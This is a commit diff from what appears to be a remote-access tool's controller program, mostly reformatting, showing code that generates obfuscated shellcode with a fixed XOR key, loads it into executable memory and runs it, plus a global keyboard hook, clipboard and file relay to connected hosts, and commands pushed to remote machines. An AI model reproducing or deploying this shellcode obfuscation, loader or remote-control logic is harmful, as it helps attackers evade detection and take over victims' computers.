fix: No need to restart client to update wallet address

This commit is contained in:
yuanyuanxiang
2025-11-09 00:49:34 +08:00
parent b9c5a7af91
commit ce825cffb1
24 changed files with 544 additions and 491 deletions

View File

@@ -970,7 +970,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
AUTO_TICK(500);
CDialogEx::OnInitDialog();
int ret = InitFileUpload(GetHMAC());
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
m_GroupList = {"default"};
// Grid 容器
@@ -1133,11 +1133,13 @@ DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param)
int usingFRP = 0;
#ifdef _WIN64
usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
#else
CloseHandle(This->m_hFRPThread);
This->m_hFRPThread = NULL;
return 0x20250820;
#endif
if (!usingFRP) {
CloseHandle(This->m_hFRPThread);
This->m_hFRPThread = NULL;
return 0x20250820;
if (usingFRP) {
This->m_frpStatus = STATUS_RUN;
}
Mprintf("[FRP] Proxy thread start running\n");
@@ -2056,25 +2058,29 @@ std::string getDateStr(int daysOffset = 0)
return oss.str();
}
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
if (!ctx->Send2Client(data, size)) {
return false;
}
return true;
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size)
{
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
if (!ctx->Send2Client(data, size)) {
return false;
}
return true;
}
void RecvData(void* ptr) {
void RecvData(void* ptr)
{
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
}
void delay_cancel(CONTEXT_OBJECT* ctx, int sec) {
if (!ctx) return;
void delay_cancel(CONTEXT_OBJECT* ctx, int sec)
{
if (!ctx) return;
Sleep(sec*1000);
ctx->CancelIO();
ctx->CancelIO();
}
void FinishSend(void* user) {
void FinishSend(void* user)
{
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
// 需要等待客户端接收完成方可关闭
std::thread(delay_cancel, ctx, 15).detach();
@@ -2092,28 +2098,28 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
// 【L】主机上下线和授权
// 【x】对话框相关功能
switch (cmd) {
case COMMAND_GET_FILE: {
// 发送文件
auto files = GetClipboardFiles();
if (!files.empty()) {
std::string dir = (char*)(szBuffer + 1);
case COMMAND_GET_FILE: {
// 发送文件
auto files = GetClipboardFiles();
if (!files.empty()) {
std::string dir = (char*)(szBuffer + 1);
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
hash, hmac).detach();
}
break;
}
case COMMAND_SEND_FILE: {
// 接收文件
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
hash, hmac).detach();
}
break;
}
case COMMAND_SEND_FILE: {
// 接收文件
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
CONNECT_ADDRESS addr;
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
}
break;
}
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
}
break;
}
case TOKEN_GETVERSION: { // 获取版本【L】
// TODO 维持心跳
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
@@ -2433,7 +2439,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
}
}
bool isAllZeros(const BYTE* data, int len) {
bool isAllZeros(const BYTE* data, int len)
{
for (int i = 0; i < len; ++i)
if (data[i])
return false;
@@ -3056,7 +3063,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s %s%s\r\n上线信息: %s %d %s"),
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + "", res[RES_FILE_PATH], res[RES_EXE_VERSION],
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(),
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]",
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]",
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str());
// 获取鼠标位置
@@ -3157,14 +3164,14 @@ void CMy2015RemoteDlg::OnToolInputPassword()
}
}
bool safe_exec(void *exec) {
__try {
((void(*)())exec)();
bool safe_exec(void *exec)
{
__try {
((void(*)())exec)();
return true;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
VirtualFree(exec, 0, MEM_RELEASE);
}
} __except (EXCEPTION_EXECUTE_HANDLER) {
VirtualFree(exec, 0, MEM_RELEASE);
}
return false;
}
@@ -3184,60 +3191,58 @@ int main() {
}
*/
#include "common/obfs.h"
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c") {
CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("DLL Files (*.dll)|*.dll|BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
}
catch (...) {
AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
return;
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
CFile File;
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeRead);
if (!r) {
AfxMessageBox("文件打开失败! 请稍后再试。\r\n" + name, MB_ICONWARNING);
return;
}
int dwFileSize = File.GetLength();
LPBYTE szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
File.Close();
void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = ".c")
{
CFileDialog fileDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("DLL Files (*.dll)|*.dll|BIN Files (*.bin)|*.bin|All Files (*.*)|*.*||"), AfxGetMainWnd());
int ret = 0;
try {
ret = fileDlg.DoModal();
} catch (...) {
AfxMessageBox("文件对话框未成功打开! 请稍后再试。", MB_ICONWARNING);
return;
}
if (ret == IDOK) {
CString name = fileDlg.GetPathName();
CFile File;
BOOL r = File.Open(name, CFile::typeBinary | CFile::modeRead);
if (!r) {
AfxMessageBox("文件打开失败! 请稍后再试。\r\n" + name, MB_ICONWARNING);
return;
}
int dwFileSize = File.GetLength();
LPBYTE szBuffer = new BYTE[dwFileSize];
File.Read(szBuffer, dwFileSize);
File.Close();
LPBYTE srcData = NULL;
int srcLen = 0;
if (load){
LPBYTE srcData = NULL;
int srcLen = 0;
if (load) {
const uint32_t key = 0xDEADBEEF;
obfs->DeobfuscateBuffer(szBuffer, dwFileSize, key);
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) {
memcpy(exec, szBuffer, dwFileSize);
if (safe_exec(exec)) {
AfxMessageBox("Shellcode 执行成功! ", MB_ICONINFORMATION);
}
else {
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec) {
memcpy(exec, szBuffer, dwFileSize);
if (safe_exec(exec)) {
AfxMessageBox("Shellcode 执行成功! ", MB_ICONINFORMATION);
} else {
AfxMessageBox("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
}
}
}
else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
TCHAR buffer[MAX_PATH];
_tcscpy_s(buffer, name);
PathRemoveExtension(buffer);
}
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize)) {
TCHAR buffer[MAX_PATH];
_tcscpy_s(buffer, name);
PathRemoveExtension(buffer);
const uint32_t key = 0xDEADBEEF;
obfs->ObfuscateBuffer(srcData, srcLen, key);
if (obfs->WriteFile(CString(buffer) + suffix, srcData, srcLen, "Shellcode")) {
AfxMessageBox("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + suffix,
MB_ICONINFORMATION);
}
}
SAFE_DELETE_ARRAY(srcData);
SAFE_DELETE_ARRAY(szBuffer);
}
if (obfs->WriteFile(CString(buffer) + suffix, srcData, srcLen, "Shellcode")) {
AfxMessageBox("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + suffix,
MB_ICONINFORMATION);
}
}
SAFE_DELETE_ARRAY(srcData);
SAFE_DELETE_ARRAY(szBuffer);
}
}
void CMy2015RemoteDlg::OnToolGenShellcode()
@@ -3255,36 +3260,36 @@ void CMy2015RemoteDlg::OnObfsShellcode()
void CMy2015RemoteDlg::OnToolGenShellcodeBin()
{
ObfsBase obfs(false);
shellcode_process(&obfs, false, ".bin");
ObfsBase obfs(false);
shellcode_process(&obfs, false, ".bin");
}
void CMy2015RemoteDlg::OnObfsShellcodeBin()
{
Obfs obfs(false);
shellcode_process(&obfs, false, ".bin");
Obfs obfs(false);
shellcode_process(&obfs, false, ".bin");
}
void CMy2015RemoteDlg::OnShellcodeLoadTest()
{
if (MessageBox(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? "
"请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
ObfsBase obfs;
shellcode_process(&obfs, true);
"请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
ObfsBase obfs;
shellcode_process(&obfs, true);
}
}
void CMy2015RemoteDlg::OnShellcodeObfsLoadTest()
{
if (MessageBox(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? "
"请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
Obfs obfs;
shellcode_process(&obfs, true);
}
if (MessageBox(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? "
"请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
Obfs obfs;
shellcode_process(&obfs, true);
}
}
void CMy2015RemoteDlg::OnOnlineAssignTo()
@@ -3504,18 +3509,19 @@ void CMy2015RemoteDlg::OnOnlineRegroup()
}
void CMy2015RemoteDlg::MachineManage(MachineCommand type) {
if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
void CMy2015RemoteDlg::MachineManage(MachineCommand type)
{
if (MessageBoxA("此操作需客户端具有管理员权限,确定继续吗? ", "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
BYTE token[32] = { TOKEN_MACHINE_MANAGE, type };
ContextObject->Send2Client(token, sizeof(token));
}
LeaveCriticalSection(&m_cs);
}
ContextObject->Send2Client(token, sizeof(token));
}
LeaveCriticalSection(&m_cs);
}
}
void CMy2015RemoteDlg::OnMachineLogout()
@@ -3550,73 +3556,76 @@ void CMy2015RemoteDlg::OnExecuteUpload()
void CMy2015RemoteDlg::OnDestroy()
{
if (g_hKeyboardHook)
{
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
CDialogEx::OnDestroy();
}
CString GetClipboardText()
{
if (!OpenClipboard(nullptr)) return _T("");
if (!OpenClipboard(nullptr)) return _T("");
#ifdef UNICODE
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
#else
HANDLE hData = GetClipboardData(CF_TEXT);
HANDLE hData = GetClipboardData(CF_TEXT);
#endif
if (!hData) { CloseClipboard(); return _T(""); }
if (!hData) {
CloseClipboard();
return _T("");
}
#ifdef UNICODE
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
#else
char* pszText = static_cast<char*>(GlobalLock(hData));
char* pszText = static_cast<char*>(GlobalLock(hData));
#endif
CString strText = pszText ? pszText : _T("");
GlobalUnlock(hData);
CloseClipboard();
return strText;
CString strText = pszText ? pszText : _T("");
GlobalUnlock(hData);
CloseClipboard();
return strText;
}
void SetClipboardText(const CString& text)
{
if (!OpenClipboard(nullptr)) return;
EmptyClipboard();
if (!OpenClipboard(nullptr)) return;
EmptyClipboard();
#ifdef UNICODE
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, (text.GetLength() + 1) * sizeof(wchar_t));
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
if (p) wcscpy_s(p, text.GetLength() + 1, text);
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, (text.GetLength() + 1) * sizeof(wchar_t));
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
if (p) wcscpy_s(p, text.GetLength() + 1, text);
#else
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, (text.GetLength() + 1) * sizeof(char));
char* p = static_cast<char*>(GlobalLock(hGlob));
if (p) strcpy_s(p, text.GetLength() + 1, CT2A(text)); // CT2A 宏把 CString 转成 char*
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, (text.GetLength() + 1) * sizeof(char));
char* p = static_cast<char*>(GlobalLock(hGlob));
if (p) strcpy_s(p, text.GetLength() + 1, CT2A(text)); // CT2A 宏把 CString 转成 char*
#endif
GlobalUnlock(hGlob);
GlobalUnlock(hGlob);
#ifdef UNICODE
SetClipboardData(CF_UNICODETEXT, hGlob);
SetClipboardData(CF_UNICODETEXT, hGlob);
#else
SetClipboardData(CF_TEXT, hGlob);
SetClipboardData(CF_TEXT, hGlob);
#endif
CloseClipboard();
CloseClipboard();
}
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
{
if (!::IsWindow(hWnd)) return FALSE;
if (!::IsWindow(hWnd)) return FALSE;
EnterCriticalSection(&m_cs);
auto find = m_RemoteWnds.find(hWnd);
auto ret = find == m_RemoteWnds.end() ? NULL : find->second;
auto ret = find == m_RemoteWnds.end() ? NULL : find->second;
LeaveCriticalSection(&m_cs);
return ret;
}
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
{
EnterCriticalSection(&m_cs);
m_RemoteWnds.erase(wnd);
LeaveCriticalSection(&m_cs);
@@ -3624,48 +3633,41 @@ void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) {
LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
if (nCode == HC_ACTION) {
do {
static CDialogBase* operateWnd = nullptr;
KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;
// 只在按下时处理
if (wParam == WM_KEYDOWN)
{
if (wParam == WM_KEYDOWN) {
// 检测 Ctrl+C / Ctrl+X
if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && (pKey->vkCode == 'C' || pKey->vkCode == 'X')) {
HWND hFore = ::GetForegroundWindow();
operateWnd = g_2015RemoteDlg->GetRemoteWindow(hFore);
if (!operateWnd)
if (!operateWnd)
g_2015RemoteDlg->m_pActiveSession = nullptr;
}
// 检测 Ctrl+V
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V')
{
else if ((GetAsyncKeyState(VK_CONTROL) & 0x8000) && pKey->vkCode == 'V') {
HWND hFore = ::GetForegroundWindow();
CDialogBase* dlg = g_2015RemoteDlg->GetRemoteWindow(hFore);
if (dlg)
{
if (dlg) {
if (dlg == operateWnd)break;
auto screen = (CScreenSpyDlg*)dlg;
auto screen = (CScreenSpyDlg*)dlg;
if (!screen->m_bIsCtrl) {
Mprintf("【Ctrl+V】 [本地 -> 远程] 窗口不是控制状态: %s\n", screen->m_IPAddress);
break;
}
// [1] 本地 -> 远程
auto files = GetClipboardFiles();
if (!files.empty())
{
auto files = GetClipboardFiles();
if (!files.empty()) {
// 获取远程目录
BYTE szBuffer[100] = { COMMAND_GET_FOLDER };
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
}
else
{
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
} else {
CString strText = GetClipboardText();
if (!strText.IsEmpty()) {
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
@@ -3676,9 +3678,7 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
SAFE_DELETE_ARRAY(szBuffer);
}
}
}
else if (g_2015RemoteDlg->m_pActiveSession && operateWnd)
{
} else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) {
auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession);
if (!screen->m_bIsCtrl) {
Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress);
@@ -3687,35 +3687,32 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
// [2] 远程 -> 本地
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
memcpy((char*)bToken + 1, masterId.c_str(), masterId.length());
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
auto files = GetClipboardFiles();
if (!files.empty()) {
if (::OpenClipboard(nullptr))
{
EmptyClipboard();
CloseClipboard();
}
}
memcpy((char*)bToken + 1, masterId.c_str(), masterId.length());
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
auto files = GetClipboardFiles();
if (!files.empty()) {
if (::OpenClipboard(nullptr)) {
EmptyClipboard();
CloseClipboard();
}
}
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken));
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
}
else
{
} else {
Mprintf("[Ctrl+V] 没有活动的远程桌面会话 \n");
}
}
}
} while (0);
}
}
// 允许消息继续传递
return CallNextHookEx(g_2015RemoteDlg->g_hKeyboardHook, nCode, wParam, lParam);
// 允许消息继续传递
return CallNextHookEx(g_2015RemoteDlg->g_hKeyboardHook, nCode, wParam, lParam);
}
LRESULT CMy2015RemoteDlg::OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam)
{
CDialogBase* pSession = reinterpret_cast<CDialogBase*>(wParam);
CDialogBase* pSession = reinterpret_cast<CDialogBase*>(wParam);
m_pActiveSession = pSession;
return 0;
return 0;
}